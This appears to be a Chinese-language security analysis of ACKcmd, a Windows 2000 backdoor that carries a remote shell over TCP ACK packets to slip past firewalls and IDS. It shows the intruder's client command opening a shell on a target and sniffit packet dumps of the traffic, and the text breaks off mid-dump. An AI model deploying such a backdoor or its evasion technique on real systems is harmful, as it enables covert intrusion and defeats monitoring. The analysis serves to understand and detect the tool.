简介
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ACKcmd是提供Win2000下远程命令Shell的一种后门，它使用TCP来传输，但是不同于一般正常的TCP连接有三次握手，ACKcmd仅使用了TCP ACK数据包，所以一般情况下可以穿越防火墙及躲避IDS的检测。
ACKcmd采用client/server结构，在目标机器上运行AckCmdS.exe植入后门，入侵者在客户端运行命令AckCmdC <target ip>即可获得一个远程的Shell。
分析
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我们现在用sniffit来观察ACKcmd的数据是怎样传输的。入侵者在192.168.0.29，连入目标机器192.168.0.2：
E:\Tools>ackcmdc 192.168.0.2
AckCmd 1.1 - The Ack Command Prompt for Windows 2000
- (c) 2000, Arne Vidstrom, arne.vidstrom@ntsecurity.nu
- For instructions see http://ntsecurity.nu/toolbox/ackcmd/
Type "quit" and press Enter to quit
AckCmd> net name <------ 输入命令
名称
-------------
SERVER2000
ADMINISTRATOR
命令成功完成。
AckCmd> quit <------ 退出
sniffit抓到的包如下：
TCP Packet ID (from_IP.port-to_IP.port): 192.168.0.29.80-192.168.0.2.1054
SEQ (hex): 6060606 ACK (hex): 6060606
FLAGS: -A---- Window: 4000
Packet ID (from_IP.port-to_IP.port): 192.168.0.29.80-192.168.0.2.1054
45 E 00 . 00 . 38 8 00 . 00 . 00 . 00 . 80 . 06 . B9 . 50 P C0 . A8 . 00 . 1D .
C0 . A8 . 00 . 02 . 00 . 50 P 04 . 1E . 06 . 06 . 06 . 06 . 06 . 06 . 06 . 06 .
70 p 10 . 40 @ 00 . E6 . C6 . 00 . 00 . 02 . 04 . 05 . B4 . 01 . 01 . 04 . 02 .
6E n 65 e 74 t 20 6E n 61 a 6D m 65 e
TCP Packet ID (from_IP.port-to_IP.port): 192.168.0.2.1054-192.168.0.29.80
SEQ (hex): 6060606 FLAGS: ---R--
Packet ID (from_IP.port-to_IP.port): 192.168.0.2.1054-192.168.0.29.80
45 E 00 . 00 . 28 ( 04 . A8 . 00 . 00 . 80 . 06 . B4 . B8 . C0 . A8 . 00 . 02 .
C0 . A8 . 00 . 1D . 04 . 1E . 00 . 50 P 06 . 06 . 06 . 06 . 06 . 06 . 06 . 06 .
50 P 04 . 00 . 00 . 11 . EB . 00 . 00 .
TCP Packet ID (from_IP.port-to_IP.port): 192.168.0.2.1054-192.168.0.29.80
SEQ (hex): 6060606 ACK (hex): 6060606
FLAGS: -A---- Window: 4000
Packet ID (from_IP.port-to_IP.port): 192.168.0.2.1054-192.168.0.29.80
45 E 00 . 00 . CD . 04 . A9 . 00 . 00 . 80 . 06 . B4 . 12 . C0 . A8 . 00 . 02 .
C0 . A8 . 00 . 1D . 04 . 1E . 00 . 50 P 06 . 06 . 06 . 06 . 06 . 06 . 06 . 06 .
70 p 10 . 40 @ 00 . 1C . C1 . 00 . 00 . 02 . 04 . 05 . B4 . 01 . 01 . 04 . 02 .
0D . 0A . C3 . FB . B3 . C6 . 20 20 20 20 20 20 20 20 20 20
20 20 20 20 0D . 0A . 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D -
2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D -
2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D -
2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D -
2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D - 2D -
2D - 2D - 2D - 2D - 2D - 0D . 0A . 53 S 45 E 52 R 56 V 45 E 52 R 32 2 30 0 30 0
30 0 20 20 20 20 20 20 0D . 0A . 41 A 44 D 4D M 49 I 4E N 49 I 53 S
54 T 52 R 41 A 54 T 4F O 52 R 20 20 20 0D . 0A . C3 . FC . C1 . EE . B3 .
C9 . B9 . A6 . CD . EA . B3 . C9 . A1 . A3 . 0D . 0A . 0D . 0A . &nb